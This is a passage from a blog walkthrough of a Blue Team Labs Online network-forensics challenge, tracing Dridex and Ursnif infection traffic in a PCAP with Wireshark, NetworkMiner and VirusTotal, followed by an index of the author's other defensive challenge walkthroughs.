We may have already stumbled across the answer during our analysis of Question 1. But let’s go ahead and follow the TCP stream starting with the SYN packet of the three-way handshake (packet #3.)

To do this, click the row of the packet, right click it, and select Follow > TCP Stream.

Now, in the TCP Stream view and we see that the victim host requested the file “spet10.spr” from this server.

According to the United States Cybersecurity & Infrastructure Security Agency (CISA,) this technique is consistent with the Dridex malware:

Many of the files, rather than containing the actual malware, contain hidden or obfuscated macros. Upon activation, the macros reach to a command and control server, FTP server, or cloud storage site to download the actual Dridex malware.

Question 3: From what domain HTTP requests with GET /images/ are coming from?

For Question 3 let’s try something a little different; instead of just using one utility, why don’t we add another one to the toolkit to compare the differences?

Wireshark
NetworkMiner

We’ll start with Wireshark. Let’s do a simple string search with the “find packet” function. We can access this function through Edit > Find Packet OR by pressing the magnifying glass above the display filter field. Then, we can search for the “/images” to locate the requests that contain this string.

We’ll see that the first hit lists the request URI with the domain we are looking for down in the packet details pane.

The second option is to leverage the tool, NetworkMiner. NetworkMiner is another powerful network forensic tool that can extract artifacts from PCAP files and display them in an easy-to-understand format with robust sorting and filtering capabilities.

Let’s search NetworkMiner for the same information that we found earlier with Wireshark. To do this, open NetworkMiner, load the PCAP file, and then press Parameters. In the Filter keyword box, input “/images.”

Now that we have filtered our results, we can see three entries from our search. If we focus on the Destination host tab, we will see the request domain. While finding the same information with both tools, it’s still useful to understand the different capabilities between the two applications and how they present the data.

Question 4: The SOC Team found Dridex, a follow-up malware from Ursnif infection, to be the culprit. The customer who sent her the macro file is compromised. What’s the full URL ending in .rar where Ursnif retrieves the follow-up malware from?

For Question 4, we’ll again use both Wireshark and NetworkMiner to hunt for the second stage RAR file in the PCAP.

In Wireshark, we’ll do another simple string search like we did in Question 3 but this time we will search for “.rar”

Take a look at the Full request URI in the packet details pane. This is the URL that we are looking for!

From the NetworkMiner perspective, click on the Files tab then, in the Filter keyword box, input “.rar” — Now check the Details tab, we will see the same URI that we found with Wireshark!

Question 5: What is the Dridex post-infection traffic IP addresses beginning with 185.? (4 points)

Okay, last question! We know that the Dridex malware on the victim’s machine is communicating with a command-and-control IP address beginning with 185. We just need to find the full IP.

We’ll start by filtering for destination IP addresses to locate the valid indicator of compromise (IOC). We did this earlier in Question 1 but let’s open Wireshark and use the Statistics > Endpoints view again. This will help us locate two IP addresses beginning with 185.

Let’s see if we can get any more information about these IP addresses with NetworkMiner. In NetworkMiner, we just need to visit the Hosts tab. This will list all the hosts within the PCAP file just like the Endpoints view in Wireshark but with the added benefit of some extra information in one tab.

Unfortunately, while we get some additional information, it isn’t enough to determine which of the two 185 IP addresses is the command-and-control traffic the challenge wants us to find from our tools alone.

Let’s pivot and try to enrich our data by using a straightforward process of elimination by checking VirusTotal for any intelligence about each of the IP addresses…

Hey, we found something! While this isn’t a definitive test, the 2nd IP address has a few hits on VirusTotal for malicious activity. For the purposes of this challenge, this will be enough information. Let’s check that we have found the right IP Address!

Conclusion:

Excellent job with the investigation! We successfully analyzed the PCAP file given to us by the SOC team to complete the Network Analysis — Malware Compromise challenge! Now that we understand the scope of the incident, let’s wrap this up.

A big thank you to Blue Teams Labs Online for hosting this awesome challenge! This was a fantastic opportunity to practice PCAP analysis, sharpen my skills with Wireshark, and test out the capabilities of NetworkMiner. I always find it valuable to get the hands-on practice with these tools to keep my skills sharp for the next time I’ll need to use these tools in the real world.

Thank you so much for reading along and working through this investigation with me. I hope that you had as much fun as I did and learned something new, too!

Until next week — stay curious!

Tools & References:

Wireshark: https://www.wireshark.org/

Network Miner: https://www.netresec.com/?page=NetworkMiner

Wireshark Wiki (TCP 3-Way Handshake): https://wiki.wireshark.org/TCP_3_way_handshaking/

Malpedia (Dridex): https://malpedia.caad.fkie.fraunhofer.de/details/win.dridex

CISA Dridex Malware: https://www.cisa.gov/news-events/cybersecurity-advisories/aa19-339a

VirusTotal: https://www.virustotal.com/

Blue Team Labs Online on Drew Arpino (Stumblesec)

Blue Team Labs Online — Network Analysis - Web Shell Challenge Walkthrough

Blue Team Labs Online: Network Analysis — Web Shell Challenge Walkthrough

PCAP Threat Hunting with Wireshark and NetworkMiner: Detecting Port Scans, Recon Tools, and Reverse Shell Activity.

Introduction:

Challenge Scenario:

Setup the Analysis Environment & Extract the Challenge File:

Questions 1 & 2:

What is the IP responsible for conducting the port scan activity?

What is the port range scanned by the suspicious host?

Question 3: What is the type of port scan conducted?

Question 4: Two more tools were used to perform reconnaissance against open ports, what were they?

Question 5: What is the name of the php file through which the attacker uploaded a web shell?

Question 6: What is the name of the web shell that the attacker uploaded?

Questions 7 & 8:

What is the parameter used in the web shell for executing commands?

What is the first command executed by the attacker?

Questions 9 & 10:

What is the type of shell connection the attacker obtains through command execution?

What is the port he uses for the shell connection?

Conclusion:

Tools & References:

Blue Team Labs Online — Log Analysis - Compromised WordPress Challenge Walkthrough

Blue Team Labs Online | Log Analysis — Compromised WordPress | Challenge Walkthrough

A Log Analysis Challenge Using http Logs Viewer

Introduction:

Challenge Scenario:

Setup the Analysis Environment & Extract the Challenge File:

Question 1: Identify the URI of the admin login panel that the attacker gained access to (include the token)

Question 2: Can you find two tools the attacker used?

Question 3: The attacker tried to exploit a vulnerability in ‘Contact Form 7’. What CVE was the plugin vulnerable to? (Do some research!)

Question 4: What plugin was exploited to get access?

Question 5: What is the name of the PHP web shell file?

Question 6: What was the HTTP response code provided when the web shell was accessed for the final time?

Conclusion:

Tools & References:

Blue Team Labs Online — Memory Analysis - Ransomware Walkthrough

Blue Team Labs Online | Memory Analysis — Ransomware | Walkthrough

A Memory Analysis Challenge Using Volatility 2.6.

Introduction:

Challenge Scenario:

Setup the Analysis Environment & Extract the Challenge File:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

– “https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

–”)[](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—

Question 1: Run “vol.py -f infected.vmem — profile=Win7SP1x86 psscan” that will list all processes. What is the name of the suspicious process?

Questions 2 & 3:

What is the parent process ID for the suspicious process?

What is the initial malicious executable that created this process?

Question 4: If you drill down on the suspicious PID (vol.py -f infected.vmem — profile=Win7SP1x86 psscan | grep (PIDhere)), find the process used to delete files

Question 5: Find the path where the malicious file was first executed

Question 6: Can you identify what ransomware it is? (Do your research!)

Question 7: What is the filename for the file with the ransomware public key that was used to encrypt the private key? (.eky extension)

Conclusion:

Tools & References:

Blue Team Labs Online — Reverse Engineering - A Classic Injection Challenge Walkthrough

Blue Team Labs Online — Reverse Engineering — A Classic Injection Challenge Walkthrough

A Malware Analysis Challenge Using Ghidra and ProcMon

Introduction:

Challenge Scenario:

Setup the Analysis Environment & Extract the Challenge File:

Question 1: What is the name of the compiler used to generate the EXE?

Question 2: This malware, when executed, sleeps for some time. What is the sleep time in minutes?

Question 3: After the sleep time, it prompts for user password, what is the correct password?

Question 4: What is the size of the shellcode?

Question 5: Shellcode injection involves three important windows API. What is the name of the API Call used?

Question 6: What is the name of the victim process?

Questions 7, 8, & 9:

What is the file created by the sample

What is the message in the created file

What is the program that the shellcode used to create and write this file

Conclusion:

Tools & References:

Blue Team Labs Online — The Planet’s Prestige Walkthrough

Blue Team Labs Online — The Planet’s Prestige Walkthrough

An Email Header and Content Analysis Challenge Using CyberChef & zipdump.py.

Introduction:

Challenge Scenario:

Setup the Analysis Environment & Extract the Challenge File:

[Get the Virtual Appliance | REMnux Documentation _The easiest way to get the REMnux distro is to download the REMnux virtual appliance in the OVA format, import it into…_docs.remnux.org](https://docs.remnux.org/install-distro/get-virtual-appliance?source=post_page--- –d2311959d5f3—